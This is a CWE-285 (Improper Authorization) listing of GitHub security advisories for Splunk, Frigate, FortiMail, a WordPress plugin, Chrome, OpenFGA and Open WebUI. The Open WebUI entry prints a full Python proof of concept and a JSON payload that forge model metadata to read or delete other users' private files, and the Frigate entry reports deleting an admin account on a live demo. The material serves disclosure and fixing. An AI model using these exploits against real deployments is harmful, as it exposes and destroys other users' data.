Common Weakness Enumeration

CWE-285

Discouraged

Improper Authorization

Abstraction: Class · Status: Draft

The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action.

2304 vulnerabilities reference this CWE, most recent first.

GHSA-VFCP-CCWJ-Q6WQ

Vulnerability from github – Published: 2023-06-01 18:30 – Updated: 2024-04-04 04:27
VLAI
Details

On Splunk Enterprise versions below 9.0.5, 8.2.11, and 8.1.14, and in Splunk Cloud Platform versions below 9.0.2303.100, an unauthorized user can access the {{/services/indexing/preview}} REST endpoint to overwrite search results if they know the search ID (SID) of an existing search job.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-32717"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-06-01T17:15:10Z",
    "severity": "MODERATE"
  },
  "details": "On Splunk Enterprise versions below 9.0.5, 8.2.11, and 8.1.14, and in Splunk Cloud Platform versions below 9.0.2303.100, an unauthorized user can access the {{/services/indexing/preview}} REST endpoint to overwrite search results if they know the search ID (SID) of an existing search job.",
  "id": "GHSA-vfcp-ccwj-q6wq",
  "modified": "2024-04-04T04:27:58Z",
  "published": "2023-06-01T18:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-32717"
    },
    {
      "type": "WEB",
      "url": "https://advisory.splunk.com/advisories/SVD-2023-0612"
    },
    {
      "type": "WEB",
      "url": "https://research.splunk.com/application/bbe26f95-1655-471d-8abd-3d32fafa86f8"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VG28-83RP-8XX4

Vulnerability from github – Published: 2026-03-18 14:25 – Updated: 2026-03-20 21:27
VLAI
Summary
Frigte has broken access control viewer user can delete admin and other users account
Details

Summary

Users with the viewer role can delete admin and other users account. It this leads to denial of service and affects data integrity.

Details

Endpoint DELETE /api/users/admin is enable to anonymous user.

obraz

PoC

I deleted admin user on demo.frigate.video:

obraz

Impact

It this leads to denial of service and affects data integrity.

Recommended Fixes

Restrict access to the endpoint to authenticated admin users only: Add dependencies=[Depends(require_role(["admin"]))]) to this endpoint.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 0.16.3"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "frigate"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33125"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-18T14:25:15Z",
    "nvd_published_at": "2026-03-20T10:16:19Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nUsers with the viewer role can delete admin and other users account. It this leads to denial of service and affects data integrity.\n\n### Details\nEndpoint `DELETE /api/users/admin` is enable to anonymous user.\n\n\u003cimg width=\"436\" height=\"100\" alt=\"obraz\" src=\"https://github.com/user-attachments/assets/817f9c47-7bd9-4247-a2f1-0f40778ab229\" /\u003e\n\n### PoC\nI deleted admin user on `demo.frigate.video`:\n\n\u003cimg width=\"1091\" height=\"222\" alt=\"obraz\" src=\"https://github.com/user-attachments/assets/34f50a13-3bb7-4aa8-99fa-bd815b3dc915\" /\u003e\n\n\n### Impact\nIt this leads to denial of service and affects data integrity.\n\n### Recommended Fixes\nRestrict access to the endpoint to authenticated admin users only:\nAdd `dependencies=[Depends(require_role([\"admin\"]))])` to this endpoint.",
  "id": "GHSA-vg28-83rp-8xx4",
  "modified": "2026-03-20T21:27:20Z",
  "published": "2026-03-18T14:25:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/blakeblackshear/frigate/security/advisories/GHSA-vg28-83rp-8xx4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33125"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/blakeblackshear/frigate"
    },
    {
      "type": "WEB",
      "url": "https://github.com/blakeblackshear/frigate/releases/tag/v0.16.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Frigte has broken access control viewer user can delete admin and other users account"
}

GHSA-VGMJ-G5QH-WR55

Vulnerability from github – Published: 2023-11-14 18:30 – Updated: 2023-11-14 18:30
VLAI
Details

An improper authorization vulnerability [CWE-285] in FortiMail webmail version 7.2.0 through 7.2.2 and before 7.0.5 allows an authenticated attacker to see and modify the title of address book folders of other users via crafted HTTP or HTTPs requests.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-36633"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-732"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-11-14T18:15:49Z",
    "severity": "MODERATE"
  },
  "details": "An improper authorization vulnerability [CWE-285] in FortiMail webmail version 7.2.0 through 7.2.2 and before 7.0.5 allows an authenticated attacker to see and modify the title of address book folders of other users via crafted HTTP or HTTPs requests.",
  "id": "GHSA-vgmj-g5qh-wr55",
  "modified": "2023-11-14T18:30:29Z",
  "published": "2023-11-14T18:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-36633"
    },
    {
      "type": "WEB",
      "url": "https://fortiguard.com/psirt/FG-IR-23-203"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VGR9-G4RQ-XM99

Vulnerability from github – Published: 2024-05-02 18:30 – Updated: 2024-05-02 18:30
VLAI
Details

The WP Show Posts plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on multiple AJAX functions in all versions up to, and including, 1.1.5. This makes it possible for authenticated attackers, with subscriber access and above, to view arbitrary post metadata, list posts, and view terms and taxonomies.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-6731"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-02T17:15:08Z",
    "severity": "MODERATE"
  },
  "details": "The WP Show Posts plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on multiple AJAX functions in all versions up to, and including, 1.1.5. This makes it possible for authenticated attackers, with subscriber access and above, to view arbitrary post metadata, list posts, and view terms and taxonomies.",
  "id": "GHSA-vgr9-g4rq-xm99",
  "modified": "2024-05-02T18:30:51Z",
  "published": "2024-05-02T18:30:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6731"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026new=3071911%40wp-show-posts%2Ftrunk\u0026old=3041416%40wp-show-posts%2Ftrunk\u0026sfp_email=\u0026sfph_mail="
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/e6bb3680-0623-4633-971e-3bc4a52dfad3?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VGX9-54R8-82CR

Vulnerability from github – Published: 2026-04-01 06:31 – Updated: 2026-04-01 15:31
VLAI
Details

Inappropriate implementation in ANGLE in Google Chrome prior to 146.0.7680.178 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: High)

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-5283"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-01T05:16:01Z",
    "severity": "MODERATE"
  },
  "details": "Inappropriate implementation in ANGLE in Google Chrome prior to 146.0.7680.178 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: High)",
  "id": "GHSA-vgx9-54r8-82cr",
  "modified": "2026-04-01T15:31:14Z",
  "published": "2026-04-01T06:31:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5283"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2026/03/stable-channel-update-for-desktop_31.html"
    },
    {
      "type": "WEB",
      "url": "https://issues.chromium.org/issues/492131521"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VJ4M-83M8-XPW5

Vulnerability from github – Published: 2022-10-25 20:21 – Updated: 2023-06-27 21:55
VLAI
Summary
OpenFGA Authorization Bypass via tupleset wildcard
Details

Overview

During our internal security assessment, it was discovered that OpenFGA versions v0.2.3 and prior are vulnerable to authorization bypass under certain conditions.

Am I affected?

You are affected by this vulnerability if you are using openfga/openfga version v0.2.3 and you added a tuple with a wildcard (*) assigned to a tupleset relation (the right hand side of a ‘from’ statement).

How to fix that?

Upgrade to version v0.2.4.

Backward Compatibility

This update is not backward compatible with any authorization model that uses wildcard on a tupleset relation.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.2.3"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/openfga/openfga"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.2.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-39341"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-10-25T20:21:45Z",
    "nvd_published_at": "2022-10-25T17:15:00Z",
    "severity": "MODERATE"
  },
  "details": "### Overview\nDuring our internal security assessment, it was discovered that OpenFGA versions `v0.2.3` and prior are vulnerable to authorization bypass under certain conditions.\n\n### Am I affected?\nYou are affected by this vulnerability if you are using `openfga/openfga` version `v0.2.3` and you added a tuple with a wildcard (*) assigned to a tupleset relation (the right hand side of a \u2018from\u2019 statement).\n\n### How to fix that?\nUpgrade to version `v0.2.4`.\n\n### Backward Compatibility\nThis update is not backward compatible with any authorization model that uses wildcard on a tupleset relation.\n\n",
  "id": "GHSA-vj4m-83m8-xpw5",
  "modified": "2023-06-27T21:55:53Z",
  "published": "2022-10-25T20:21:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openfga/openfga/security/advisories/GHSA-vj4m-83m8-xpw5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-39341"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openfga/openfga/commit/b466769cc100b2065047786578718d313f52695b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openfga/openfga"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openfga/openfga/releases/tag/v0.2.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenFGA Authorization Bypass via tupleset wildcard"
}

GHSA-VJQM-6GCC-62CR

Vulnerability from github – Published: 2026-06-17 14:15 – Updated: 2026-06-17 14:15
VLAI
Summary
Open WebUI: Forged model meta.knowledge allows cross-user file read and deletion
Details

Summary

Open WebUI lets a user who can create, update, or import workspace models store arbitrary meta.knowledge entries on their model without checking whether they own or can read the referenced files. Open WebUI then treats meta.knowledge entries of type file as an authorization source in two places: the built-in view_file tool reads the file's extracted text, and has_access_to_file()'s model branch authorizes the file content and file delete endpoints. A malicious model owner can therefore attach another user's file ID to their model metadata and read or delete that private file.

Impact

Security boundary crossed: file confidentiality and integrity.

An authenticated attacker needs the workspace.models or workspace.models_import permission (or write access to an existing model) and a victim file ID. With those, for a file they do not own and cannot otherwise read, the attacker can:

  • read the file's extracted text (up to 100000 characters per view_file call from file.data.content),
  • read the file's content via GET /api/v1/files/{id}/content, and
  • delete the file via DELETE /api/v1/files/{id}.

Root Cause

ModelMeta allows extra metadata fields and ModelForm accepts that metadata without a validator for meta.knowledge file access:

# backend/open_webui/models/models.py
class ModelForm(BaseModel):
    model_config = ConfigDict(extra='ignore')

    id: str
    base_model_id: Optional[str] = None
    name: str
    meta: ModelMeta
    params: ModelParams

Model creation only checks the caller's model-workspace permission and then stores the form data:

# backend/open_webui/routers/models.py
if user.role != 'admin' and not await has_permission(
    user.id, 'workspace.models', request.app.state.config.USER_PERMISSIONS, db=db
):
    raise HTTPException(...)

model = await Models.insert_new_model(form_data, user.id, db=db)

The insert sink persists the supplied meta:

# backend/open_webui/models/models.py
result = Model(
    **{
        **form_data.model_dump(exclude={'access_grants'}),
        'user_id': user_id,
        ...
    }
)

When built-in tools are assembled, meta.knowledge is passed through as __model_knowledge__, and any file entry enables view_file:

# backend/open_webui/utils/tools.py
model_knowledge = model.get('info', {}).get('meta', {}).get('knowledge', [])
...
knowledge_types = {item.get('type') for item in model_knowledge}
if 'file' in knowledge_types or 'collection' in knowledge_types:
    builtin_functions.append(view_file)

view_file treats matching __model_knowledge__ file IDs as authorization, before has_access_to_file():

# backend/open_webui/tools/builtin.py
if (
    file.user_id != user_id
    and user_role != 'admin'
    and not any(
        item.get('type') == 'file' and item.get('id') == file_id for item in (__model_knowledge__ or [])
    )
    and not await has_access_to_file(...)
):
    return json.dumps({'error': 'File not found'})

The same forged meta.knowledge is also trusted outside the tool path. has_access_to_file() iterates the caller's accessible models and returns true when a model's meta.knowledge contains the requested file ID:

# backend/open_webui/utils/access_control/files.py
for model in await Models.get_models_by_user_id(user.id, permission=access_type, db=db):
    knowledge_items = getattr(model.meta, 'knowledge', None) or []
    for item in knowledge_items:
        if isinstance(item, dict) and item.get('type') == 'file' and item.get('id') == file.id:
            return True

This branch is not restricted to read, so it also satisfies the write check that DELETE /api/v1/files/{id} performs. The same missing validation applies to the import path (POST /api/v1/models/import) and the update path, not only create.

PoC

#!/usr/bin/env python3
"""
Verifier for forged model meta.knowledge file entries reaching builtin tools.

The proof executes:
  - the real Models.insert_new_model() sink with a forged meta.knowledge entry
  - the real builtin view_file() authorization branch

Fake DB/model adapters are used only to avoid requiring a live Open WebUI
server. The security-sensitive code under test is Open WebUI application code.
"""

from __future__ import annotations

import asyncio
import ast
import json
import os
import sys
import types
from pathlib import Path
from types import SimpleNamespace

REPO = Path(__file__).resolve().parents[1]
BUILTIN_TOOLS = REPO / "backend/open_webui/tools/builtin.py"


def prepare_imports() -> None:
    sys.path.insert(0, str(REPO / "backend"))
    os.environ["VECTOR_DB"] = "none"

    class DummyTyper:
        def command(self, *args, **kwargs):
            return lambda fn: fn

    sys.modules.setdefault(
        "typer",
        types.SimpleNamespace(
            Typer=lambda *args, **kwargs: DummyTyper(),
            Option=lambda *args, **kwargs: None,
            echo=lambda *args, **kwargs: None,
            Exit=Exception,
        ),
    )
    sys.modules.setdefault("uvicorn", types.SimpleNamespace(run=lambda *args, **kwargs: None))


class FakeDb:
    def __init__(self):
        self.added = []
        self.committed = False
        self.refreshed = False

    def add(self, row):
        self.added.append(row)

    async def commit(self):
        self.committed = True

    async def refresh(self, row):
        self.refreshed = True


class FakeDbContext:
    def __init__(self, db):
        self.db = db

    async def __aenter__(self):
        return self.db

    async def __aexit__(self, exc_type, exc, tb):
        return False


async def verify_model_insert_accepts_victim_file(victim_file_id: str):
    import open_webui.models.models as models_module

    fake_db = FakeDb()
    original_context = models_module.get_async_db_context
    original_set_grants = models_module.AccessGrants.set_access_grants
    original_to_model = models_module.Models._to_model_model

    async def fake_set_access_grants(*args, **kwargs):
        return True

    async def fake_to_model(self, model, access_grants=None, db=None):
        return SimpleNamespace(
            id=model.id,
            user_id=model.user_id,
            base_model_id=model.base_model_id,
            name=model.name,
            params=model.params,
            meta=model.meta,
            access_grants=[],
            is_active=model.is_active,
            created_at=model.created_at,
            updated_at=model.updated_at,
        )

    try:
        models_module.get_async_db_context = lambda db=None: FakeDbContext(fake_db)
        models_module.AccessGrants.set_access_grants = fake_set_access_grants
        models_module.Models._to_model_model = types.MethodType(fake_to_model, models_module.Models)

        inserted = await models_module.Models.insert_new_model(
            models_module.ModelForm(
                id="attacker-model",
                base_model_id="gpt-vision-base",
                name="Attacker Model",
                params={},
                meta={
                    "knowledge": [
                        {
                            "id": victim_file_id,
                            "type": "file",
                            "name": "victim-private.txt",
                        }
                    ],
                    "builtinTools": {"knowledge": True},
                },
            ),
            user_id="attacker",
        )
    finally:
        models_module.get_async_db_context = original_context
        models_module.AccessGrants.set_access_grants = original_set_grants
        models_module.Models._to_model_model = original_to_model

    stored_meta = [getattr(row, "meta", None) for row in fake_db.added]
    stored_knowledge_ids = [
        item.get("id")
        for meta in stored_meta
        for item in ((meta or {}).get("knowledge") or [])
    ]

    return {
        "insert_returned_model": bool(inserted),
        "db_commit_called": fake_db.committed,
        "stored_user_ids": [getattr(row, "user_id", None) for row in fake_db.added],
        "stored_model_ids": [getattr(row, "id", None) for row in fake_db.added],
        "stored_knowledge_file_ids": stored_knowledge_ids,
    }


async def verify_view_file_trusts_model_knowledge(victim_file_id: str):
    class FakeFiles:
        looked_up_ids = []

        async def get_file_by_id(self, file_id, db=None):
            self.looked_up_ids.append(file_id)
            if file_id == victim_file_id:
                return SimpleNamespace(
                    id=victim_file_id,
                    user_id="victim",
                    filename="victim-private.txt",
                    data={"content": "PRIVATE_MODEL_KNOWLEDGE_SECRET"},
                    created_at=1,
                    updated_at=2,
                )
            return None

    async def fake_has_access_to_file(file_id, access_type, user, db=None):
        return False

    class FakeUserModel:
        def __init__(self, **kwargs):
            self.__dict__.update(kwargs)

    fake_files = FakeFiles()
    fake_files_module = types.SimpleNamespace(Files=fake_files)
    fake_file_acl_module = types.SimpleNamespace(has_access_to_file=fake_has_access_to_file)

    original_files_module = sys.modules.get("open_webui.models.files")
    original_acl_module = sys.modules.get("open_webui.utils.access_control.files")

    try:
        sys.modules["open_webui.models.files"] = fake_files_module
        sys.modules["open_webui.utils.access_control.files"] = fake_file_acl_module

        source = BUILTIN_TOOLS.read_text(encoding="utf-8")
        tree = ast.parse(source, filename=str(BUILTIN_TOOLS))
        selected = [
            node
            for node in tree.body
            if isinstance(node, ast.AsyncFunctionDef) and node.name == "view_file"
        ]
        if len(selected) != 1:
            raise RuntimeError("could not find view_file")
        module = ast.Module(body=selected, type_ignores=[])
        ast.fix_missing_locations(module)
        ns = {
            "json": json,
            "Optional": __import__("typing").Optional,
            "Request": object,
            "UserModel": FakeUserModel,
            "log": SimpleNamespace(exception=lambda *args, **kwargs: None),
            "MAX_VIEW_FILE_CHARS": 100_000,
            "DEFAULT_VIEW_FILE_MAX_CHARS": 10_000,
        }
        exec(compile(module, str(BUILTIN_TOOLS), "exec"), ns)
        view_file = ns["view_file"]

        denied_without_model_knowledge = await view_file(
            victim_file_id,
            __request__=SimpleNamespace(),
            __user__={"id": "attacker", "role": "user", "name": "attacker", "email": "a@example.test"},
            __model_knowledge__=[],
        )
        allowed_with_model_knowledge = await view_file(
            victim_file_id,
            __request__=SimpleNamespace(),
            __user__={"id": "attacker", "role": "user", "name": "attacker", "email": "a@example.test"},
            __model_knowledge__=[{"id": victim_file_id, "type": "file"}],
        )
    finally:
        if original_files_module is not None:
            sys.modules["open_webui.models.files"] = original_files_module
        else:
            sys.modules.pop("open_webui.models.files", None)
        if original_acl_module is not None:
            sys.modules["open_webui.utils.access_control.files"] = original_acl_module
        else:
            sys.modules.pop("open_webui.utils.access_control.files", None)

    denied = json.loads(denied_without_model_knowledge)
    allowed = json.loads(allowed_with_model_knowledge)
    return {
        "file_ids_looked_up": fake_files.looked_up_ids,
        "without_model_knowledge": denied,
        "with_forged_model_knowledge": allowed,
        "private_content_disclosed": allowed.get("content") == "PRIVATE_MODEL_KNOWLEDGE_SECRET",
    }


async def main() -> None:
    prepare_imports()
    victim_file_id = "victim-private-file"

    insert_sink = await verify_model_insert_accepts_victim_file(victim_file_id)
    tool_read = await verify_view_file_trusts_model_knowledge(victim_file_id)

    result = {
        "confirmed": (
            insert_sink["insert_returned_model"] is True
            and insert_sink["stored_user_ids"] == ["attacker"]
            and insert_sink["stored_knowledge_file_ids"] == [victim_file_id]
            and tool_read["without_model_knowledge"].get("error") == "File not found"
            and tool_read["private_content_disclosed"] is True
        ),
        "attacker_user_id": "attacker",
        "victim_user_id": "victim",
        "victim_file_id": victim_file_id,
        "attacker_owns_file": False,
        "model_insert_sink": insert_sink,
        "tool_read": tool_read,
        "source": {
            "insert_sink": "backend/open_webui/models/models.py:Models.insert_new_model",
            "tool_injection": "backend/open_webui/utils/tools.py:get_builtin_tools passes model meta.knowledge as __model_knowledge__",
            "read_sink": "backend/open_webui/tools/builtin.py:view_file",
        },
    }
    print(json.dumps(result, indent=2, sort_keys=True))
    if not result["confirmed"]:
        raise SystemExit(1)


if __name__ == "__main__":
    asyncio.run(main())

The PoC executes the real Models.insert_new_model() sink and the real view_file() authorization branch with fake database/file adapters. It first confirms that the attacker-owned model stores a forged victim file ID in meta.knowledge, then confirms view_file() denies the same victim file without model knowledge but discloses content when the forged model knowledge entry is present.

Result:

{
  "attacker_owns_file": false,
  "attacker_user_id": "attacker",
  "confirmed": true,
  "model_insert_sink": {
    "db_commit_called": true,
    "insert_returned_model": true,
    "stored_knowledge_file_ids": [
      "victim-private-file"
    ],
    "stored_model_ids": [
      "attacker-model"
    ],
    "stored_user_ids": [
      "attacker"
    ]
  },
  "tool_read": {
    "private_content_disclosed": true,
    "with_forged_model_knowledge": {
      "content": "PRIVATE_MODEL_KNOWLEDGE_SECRET",
      "filename": "victim-private.txt",
      "id": "victim-private-file"
    },
    "without_model_knowledge": {
      "error": "File not found"
    }
  },
  "victim_file_id": "victim-private-file",
  "victim_user_id": "victim"
}

Exploit Sketch

  1. Attacker has permission to create or update workspace models.
  2. Attacker creates a model with:
{
  "meta": {
    "knowledge": [
      {
        "id": "VICTIM_FILE_ID",
        "type": "file",
        "name": "victim-private.txt"
      }
    ],
    "builtinTools": {
      "knowledge": true
    }
  }
}
  1. Attacker chats with that model using native/built-in tools and invokes view_file for VICTIM_FILE_ID.
  2. The tool returns the victim file's extracted text content despite the attacker not owning or otherwise having access to the file.

Recommended Fix

Validate meta.knowledge on every model write path: create, update, and import. For entries with type == "file", require direct ownership, admin role, or has_access_to_file(file_id, 'read', user, db=db) before storing the entry. Validate the import payload before its surrounding try/except so a rejection surfaces as 403, not 500.

Do not let view_file() treat __model_knowledge__ as an authorization bypass; it should still enforce ownership/admin/has_access_to_file() per file ID. File deletion should require ownership, admin, or explicit write/delete access, not a read-derived model association.

Consolidation

Per our Report Handling policy this consolidates independent reports of the same model meta.knowledge file-ID laundering flaw:

  • Read via forged meta.knowledge on model create, through the built-in view_file tool: @0xEr3n (earliest filing).
  • Distinct paths demonstrated by @5yu4n: the import endpoint (POST /api/v1/models/import), and cross-user read and deletion through the file API (GET / DELETE /api/v1/files/{id}) via has_access_to_file()'s model branch.

Fix validates meta.knowledge ownership on create, update, and import; blocking the forged entry closes both read and delete. One CVE for the consolidated advisory.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.9.5"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54012"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-285",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-17T14:15:33Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nOpen WebUI lets a user who can create, update, or import workspace models store arbitrary `meta.knowledge` entries on their model without checking whether they own or can read the referenced files. Open WebUI then treats `meta.knowledge` entries of type `file` as an authorization source in two places: the built-in `view_file` tool reads the file\u0027s extracted text, and `has_access_to_file()`\u0027s model branch authorizes the file content and file delete endpoints. A malicious model owner can therefore attach another user\u0027s file ID to their model metadata and read or delete that private file.\n\n## Impact\n\nSecurity boundary crossed: file confidentiality and integrity.\n\nAn authenticated attacker needs the `workspace.models` or `workspace.models_import` permission (or write access to an existing model) and a victim file ID. With those, for a file they do not own and cannot otherwise read, the attacker can:\n\n- read the file\u0027s extracted text (up to `100000` characters per `view_file` call from `file.data.content`),\n- read the file\u0027s content via `GET /api/v1/files/{id}/content`, and\n- delete the file via `DELETE /api/v1/files/{id}`.\n\n## Root Cause\n\n`ModelMeta` allows extra metadata fields and `ModelForm` accepts that metadata without a validator for `meta.knowledge` file access:\n\n```python\n# backend/open_webui/models/models.py\nclass ModelForm(BaseModel):\n    model_config = ConfigDict(extra=\u0027ignore\u0027)\n\n    id: str\n    base_model_id: Optional[str] = None\n    name: str\n    meta: ModelMeta\n    params: ModelParams\n```\n\nModel creation only checks the caller\u0027s model-workspace permission and then stores the form data:\n\n```python\n# backend/open_webui/routers/models.py\nif user.role != \u0027admin\u0027 and not await has_permission(\n    user.id, \u0027workspace.models\u0027, request.app.state.config.USER_PERMISSIONS, db=db\n):\n    raise HTTPException(...)\n\nmodel = await Models.insert_new_model(form_data, user.id, db=db)\n```\n\nThe insert sink persists the supplied `meta`:\n\n```python\n# backend/open_webui/models/models.py\nresult = Model(\n    **{\n        **form_data.model_dump(exclude={\u0027access_grants\u0027}),\n        \u0027user_id\u0027: user_id,\n        ...\n    }\n)\n```\n\nWhen built-in tools are assembled, `meta.knowledge` is passed through as `__model_knowledge__`, and any `file` entry enables `view_file`:\n\n```python\n# backend/open_webui/utils/tools.py\nmodel_knowledge = model.get(\u0027info\u0027, {}).get(\u0027meta\u0027, {}).get(\u0027knowledge\u0027, [])\n...\nknowledge_types = {item.get(\u0027type\u0027) for item in model_knowledge}\nif \u0027file\u0027 in knowledge_types or \u0027collection\u0027 in knowledge_types:\n    builtin_functions.append(view_file)\n```\n\n`view_file` treats matching `__model_knowledge__` file IDs as authorization, before `has_access_to_file()`:\n\n```python\n# backend/open_webui/tools/builtin.py\nif (\n    file.user_id != user_id\n    and user_role != \u0027admin\u0027\n    and not any(\n        item.get(\u0027type\u0027) == \u0027file\u0027 and item.get(\u0027id\u0027) == file_id for item in (__model_knowledge__ or [])\n    )\n    and not await has_access_to_file(...)\n):\n    return json.dumps({\u0027error\u0027: \u0027File not found\u0027})\n```\n\nThe same forged `meta.knowledge` is also trusted outside the tool path. `has_access_to_file()` iterates the caller\u0027s accessible models and returns true when a model\u0027s `meta.knowledge` contains the requested file ID:\n\n```python\n# backend/open_webui/utils/access_control/files.py\nfor model in await Models.get_models_by_user_id(user.id, permission=access_type, db=db):\n    knowledge_items = getattr(model.meta, \u0027knowledge\u0027, None) or []\n    for item in knowledge_items:\n        if isinstance(item, dict) and item.get(\u0027type\u0027) == \u0027file\u0027 and item.get(\u0027id\u0027) == file.id:\n            return True\n```\n\nThis branch is not restricted to read, so it also satisfies the `write` check that `DELETE /api/v1/files/{id}` performs. The same missing validation applies to the import path (`POST /api/v1/models/import`) and the update path, not only create.\n\n## PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVerifier for forged model meta.knowledge file entries reaching builtin tools.\n\nThe proof executes:\n  - the real Models.insert_new_model() sink with a forged meta.knowledge entry\n  - the real builtin view_file() authorization branch\n\nFake DB/model adapters are used only to avoid requiring a live Open WebUI\nserver. The security-sensitive code under test is Open WebUI application code.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport asyncio\nimport ast\nimport json\nimport os\nimport sys\nimport types\nfrom pathlib import Path\nfrom types import SimpleNamespace\n\nREPO = Path(__file__).resolve().parents[1]\nBUILTIN_TOOLS = REPO / \"backend/open_webui/tools/builtin.py\"\n\n\ndef prepare_imports() -\u003e None:\n    sys.path.insert(0, str(REPO / \"backend\"))\n    os.environ[\"VECTOR_DB\"] = \"none\"\n\n    class DummyTyper:\n        def command(self, *args, **kwargs):\n            return lambda fn: fn\n\n    sys.modules.setdefault(\n        \"typer\",\n        types.SimpleNamespace(\n            Typer=lambda *args, **kwargs: DummyTyper(),\n            Option=lambda *args, **kwargs: None,\n            echo=lambda *args, **kwargs: None,\n            Exit=Exception,\n        ),\n    )\n    sys.modules.setdefault(\"uvicorn\", types.SimpleNamespace(run=lambda *args, **kwargs: None))\n\n\nclass FakeDb:\n    def __init__(self):\n        self.added = []\n        self.committed = False\n        self.refreshed = False\n\n    def add(self, row):\n        self.added.append(row)\n\n    async def commit(self):\n        self.committed = True\n\n    async def refresh(self, row):\n        self.refreshed = True\n\n\nclass FakeDbContext:\n    def __init__(self, db):\n        self.db = db\n\n    async def __aenter__(self):\n        return self.db\n\n    async def __aexit__(self, exc_type, exc, tb):\n        return False\n\n\nasync def verify_model_insert_accepts_victim_file(victim_file_id: str):\n    import open_webui.models.models as models_module\n\n    fake_db = FakeDb()\n    original_context = models_module.get_async_db_context\n    original_set_grants = models_module.AccessGrants.set_access_grants\n    original_to_model = 